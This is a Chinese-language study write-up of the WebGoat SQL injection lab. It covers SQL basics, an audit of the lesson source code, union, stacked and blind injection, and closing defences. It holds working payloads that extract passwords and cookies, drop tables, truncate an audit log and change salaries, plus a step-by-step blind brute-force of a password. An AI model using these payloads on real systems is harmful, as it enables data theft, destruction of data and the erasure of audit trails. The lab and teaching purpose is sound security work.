SQL注入
总述
sql语言基础
SQL语言主要分为四部分:DML,DDL,DCL,TCL
DML (Manipulation)用 于对数据库中的数据进行操作,主要包括插入(INSERT)、更新(UPDATE)、删除(DELETE)和查询(SELECT)数据。
INSERT INTO students (id, name, age) VALUES (1, 'Alice', 20);
UPDATE students SET age = 21 WHERE id = 1;
DELETE FROM students WHERE id = 1;
SELECT name, age FROM students;
DDL(Definition)用于定义和修改数据库的结构,主要包括创建(CREATE)、修改(ALTER)和删除(DROP)数据库对象(如表、索引、视图等)。
CREATE TABLE students (
id INT PRIMARY KEY,
name VARCHAR(50),
age INT
);
ALTER TABLE students ADD COLUMN gender CHAR(1);
DROP TABLE students;
DROP INDEX idx_name ON students;
DCL( Control)用于控制数据库的访问权限,主要包括授权(GRANT)和撤销授权(REVOKE)。
GRANT SELECT, INSERT ON students TO user1;
grant all on grant_rights to unauthorized_user
REVOKE INSERT ON students FROM user1;
TCL用于管理数据库事务,主要包括开始事务(START TRANSACTION)、提交事务(COMMIT)、回滚事务(ROLLBACK)和设置事务隔离级别(SET SESSION TRANSACTION )。
START TRANSACTION;
COMMIT;
ROLLBACK;
SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ;
sql中的特殊符号
常见注释符
行内注释:
/**/
行外注释
--
、#
常见用法
SELECT * FROM users WHERE name = 'admin' -- (被注释掉的语句)
常见查询符
;
->堆叠注入
SELECT * FROM users; DROP TABLE users;
常见连接符
'
,"
,||
SELECT * FROM users WHERE name = '+char(27) OR 1=1
-- char(27)是ASCII码中的单引号(')的等价表示
sql注入流程
找到sql注入点
' --触发错误
' AND 1=1 --正常返回
' AND 1=2 --无返回
' OR '1'='1 --返回所有数据
获取数据库信息
常用爆破
1' or SUBSTRING((SELECT COLUMN_NAME FROM information_schema.columns where TABLE_SCHEMA='' and TABLE_NAME=' ' LIMIT 0,1),1,1)='a';-- 爆列
构造获取数据
如
1' ; select * from user_system_data -- 堆叠
1' or substring(password,1,1)='t';-- 获取列名爆破密码
SQL Injection (intro)
什么是sql
employees表单
写一个简单的查询语句就行了
Select department from employees where first_name='Bob'
然后看一下源码
dataSource.getConnection
从数据源获取一个数据库连接connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)
:创建一个Statement
对象,用于执行SQL语句。TYPE_SCROLL_INSENSITIVE
表示结果集可以滚动,CONCUR_READ_ONLY
表示结果集是只读的。statement.executeQuery(query)
:执行传入的SQL查询语句,返回一个ResultSet
对象,包含查询结果。results.first()
:将结果集的游标移动到第一行,如果结果为空,抛出SQLExcepion错误之后就是查询结果与Marketing比对,如果正确返回正确信息(包括查询语句和查询结果)
3.DML
简单的更新表单语句
update employees set department ='Sales' where first_name='Tobi';
源码:
就是执行完用户的sql语句之后再把对应信息查出来进行比对
4.DDL
alter语句
alter table employees add column phone varchar(20);
源码通过查询phone判断是否为空检验
5.DCL
grant select,delete,insert on grant_rights to unauthorized_user
审计源码,这里主要分了三个部分
@PostConstruct
public void createUser() {
// HSQLDB does not support CREATE USER with IF NOT EXISTS so we need to do it in code (using
// DROP first will throw error if user does not exists)
try (Connection connection = dataSource.getConnection()) {
try (var statement =
connection.prepareStatement("CREATE USER unauthorized_user PASSWORD test")) {
statement.execute();
}
} catch (Exception e) {
// user already exists continue
}
}
//创建了一个新的数据库用户,将用户名设置为unauthorized_user ,密码设置为test
protected AttackResult injectableQuery(String query) {
try (Connection connection = dataSource.getConnection()) {
try (Statement statement =
connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) {
statement.executeQuery(query);
if (checkSolution(connection)) {
return success(this).build();
}
return failed(this).output("Your query was: " + query).build();
}
} catch (Exception e) {
return failed(this)
.output(
this.getClass().getName() + " : " + e.getMessage() + "<br> Your query was: " + query)
.build();
}
}
private boolean checkSolution(Connection connection) {
try {
var stmt =
connection.prepareStatement(
"SELECT * FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES WHERE TABLE_NAME = ? AND GRANTEE ="
+ " ?");//用于执行参数化的SQL查询。这有助于防止SQL注入攻击。
stmt.setString(1, "GRANT_RIGHTS");
stmt.setString(2, "UNAUTHORIZED_USER");
var resultSet = stmt.executeQuery();
return resultSet.next();
} catch (SQLException throwables) {
return false;
}
}
//
@PostMapping("/SqlInjection/attack5")
@ResponseBody
public AttackResult completed(String query) {
createUser();
return injectableQuery(query);
}
大致就是新建了一个用户,执行完用户的sql语句之后,通过查询GRANT_RIGHTS这个表中该用户是否存在的方式进行校验用户是否并赋权。
这里需要注意的是 使用 Connection.prepareStatement
方法可以创建一个 PreparedStatement
对象 。而PreparedStatement
是预编译的SQL语句,可以防止SQL注入攻击。
6.What is SQL injection?
一些sql构造实例
Smith' OR '1' = '1
Smith' OR 1 = 1; --
判断值永远为True,返回所有数据
Smith'; DROP TABLE users; TRUNCATE audit_log; --
删除用户表,并且删除审计日志表
7.sql注入的结果
8.sql注入的严重性
9. sql注入
原理就是构造了一个永远为True的查询
SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'
SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or TRUE
看一下源码
前端传入三个参数分别为accoun,operator,injection
将这三个参数进行拼接查询之后,以结果集的个数判断是否成功
10.数字型注入
数字型注入的基本步骤
加单引号,id=3' : 抛出异常程序无法正常从数据库中查询出数据
加 and 1=1, id=3 and 1=1 : 语句执行正常,页面无差异
加and 1=2,id=3 and 1=2 :语句可以正常执行,但是无法查询出结果
提示里说了只有一个文本框可以执行sql注入,在两个里面选一个输入1 or 1=1
,成功执行
看源码
注意到这里对login_count这一参数进行了预编译,将它转换成整型,如果转换失败,则返回一个错误对象(所以这里也不能加空格)
简而言之,预编译就是读入了字面意思,不进行二次编译
11.字符型注入
字符型注入一般需要单引号闭合。同数字型注入类似,不过数字型注入不需要单引号
"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'"
1’ or ‘1’=’1
那么有个问题,怎么判断应该用单引号还是双引号
看到'" + name + "'
,里面的“是java语法,外面包裹的’ 显示使用单引号作为SQL字符串分隔符
当然也可以通过报错和布尔测试进行判断
12.堆叠注入
把Authentication TAN: 写成
3SL99A';update employees set salary =999999 where auth_tan='3SL99A';-- -
这里要注意引号的闭合,查询字符串加引号,以及注释语句-- -
源码
connection.setAutoCommit(false)
: 手动提交事务。 在这种模式下,你可以执行多个SQL语句,然后通过调用connection.commit()
来提交事务,或者在发生错误时调用connection.rollback()
来回滚事务。
通过比较(此人工资和所有人最大工资)和(其他人工资不变)来判断
13.数据的可用性(删日志)
1';drop table access_log; -- -
源码
String query = "SELECT * FROM access_log WHERE action LIKE '%" + action + "%'";
注意到这里用了LIKE操作符进行模式匹配
%
是通配符,表示任意数量的任意字符'_'
表示单个任意字符
所以这里查询的是所有含有action的记录
SQL Injection (advanced)
总述:
联合注入
盲注
联合注入
前提条件:
select的列数要和数据库的列数相等
1' union select 1,2,3,4 # 数据库有四列
查询的数据要与原数据库列的数据类型匹配
常见技巧
判断数据库列数
ORDER BY 命令
' ORDER BY 3 -- 假设是字符注入,根据报错判断是几列
UNION SELECT NULL
' UNION SELECT NULL,NULL,NULL --
UNION SELECT NULL FROM DUAL -- 在Oracle数据库中
题目:
这里提示可以用两个方法 一个是联合注入,一个是堆叠注入
堆叠
1' ; select * from user_system_data --
UNION
先用万能密码输出全部数据
1' or 1=1 --
USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT,
1' or 1=1 union select 1,'1','1','1','1',password,7 from user_system_data --
1' or 1=1 union select userid,user_name,password,null,null,cookie,null from user_system_data --
accountName.matches("(?i)(^[^-/*;)]*)(\\s*)UNION(.*$)");
正则表达式: 检测字符串中是否包含 UNION
关键字(不区分大小写)
盲注
什么是盲注
无回显-不会返回数据库中的详细信息
侧面回显-会给出true或false的信息或者延时信息
判断方法
布尔盲注
判断注入点
1' and '1'='1 // 页面返回有数据
1' and '1'='2 // 页面返回无数据
可能存在sql注入
判断当前页面字段数
1' and '1'='1' order by 2 – // 页面返回有数据
1' and '1'='2' order by 3 – // 页面返回无数据
判断出当前页面字段数为 2
时间盲注
判断注入点的 SQL 语句
1' and '1'='1';-- // 页面返回有数据
1' and '1'='2';-- // 页面返回有数据
页面的返回没有变化,可能是盲注;
判断是何种盲注
Select name from table where id = 1 and if(布尔表达式,sleep(5),(1));
// 条件为真时延时 5s
可以通过简单的id = 1' and sleep(2)判断是否存在时间盲注
题目
这里让我们找到tom的密码
先总结一下总的流程:
找到sql注入点(通过
1' or '1'='1
判断)
若显示已有此用户则说明此语句正常执行,因为没有(1' or '1'='1)用户,说明此处有sql注入点
爆破出列名
通过库、表、列逐级爆破的方法
其中
如爆列:1' or SUBSTRING((SELECT COLUMN_NAME FROM information_schema.columns where TABLE_SCHEMA='CONTAINER' and TABLE_NAME='ASSIGNMENT ' LIMIT 0,1),1,1)='a';--
其中LIMIT 0,1 表示第一个列,SUBSTRING(**,1,1)表示取出字符串中的第一个字符,通过逐个字符爆破的方式得到正确的数据库列名。
最后爆出密码
tom' or substring(password,1,1)='t'; --
:逐个字符爆破
详细过程:
1' or SUBSTRING((SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 0,1),1,1)='a';-- 爆库
1' or SUBSTRING((SELECT TABLE_NAME FROM information_schema.tables where TABLE_SCHEMA='CONTAINER' LIMIT 0,1),1,1)='a';-- 爆表
1' or SUBSTRING((SELECT COLUMN_NAME FROM information_schema.columns where TABLE_SCHEMA='CONTAINER' and TABLE_NAME='ASSIGNMENT ' LIMIT 0,1),1,1)='a';-- 爆列
CONTAINER
ASSIGNMENT
ID
爆破确定数据库名
返回结果,根据长度确定数据库正确名
这里可以得出数据库第一个字母是C
稍微对比一下两个返回的包
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Date: Sat, 07 Jun 2025 05:40:38 GMT
{
"lessonCompleted" : true,
"feedback" : "User 1' or SUBSTRING((SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 0,1),1,1)='d';-- created, please proceed to the login page.",
"output" : null,
"assignment" : "SqlInjectionChallenge",
"attemptWasMade" : true
}
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Date: Sat, 07 Jun 2025 05:40:38 GMT
{
"lessonCompleted" : false,
"feedback" : "User 1' or SUBSTRING((SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 0,1),1,1)='C';-- already exists please try to register with a different username.",
"output" : null,
"assignment" : "SqlInjectionChallenge",
"attemptWasMade" : true
}
可以看到就是一个成功创建,一个显示用户名已存在,就是数据库名校验正确与否的区别
若数据库名正确则显示用户名已存在
若不正确则显示注册成功
然后为什么我们这样子得到的列名是id呢,原来是因为LIMIT
的偏移量问题,
把limit 0,1 改成 limit 1,1就可以得到第二个列名了
最后发现有三列,第三列的名字就是password
tom' or password='123 //可以判断列名是否为password
最后
1' or substring(password,1,1)='t';-- 爆破密码
thisisasecretfortomonly
sql注入的基本防御手段
代码层:
方法 | 说明 |
静态查询 |
由session.getAttribute读取数据,而不是用户自己输入 |
预编译(Prepared Statements) | 使用参数化查询 |
输入过滤 | 过滤危险字符(如 |
最小权限原则 | 数据库用户仅授予必要权限(禁止 |
输出编码 | 对回显数据做HTML实体编码 (如PHP的 |
运维层
WAF(Web应用防火墙):拦截恶意SQL语句(但可能被绕过)
数据库日志监控:检测异常SQL查询
定期漏洞扫描:使用工具(如SQLmap、Burp Suite)测试应用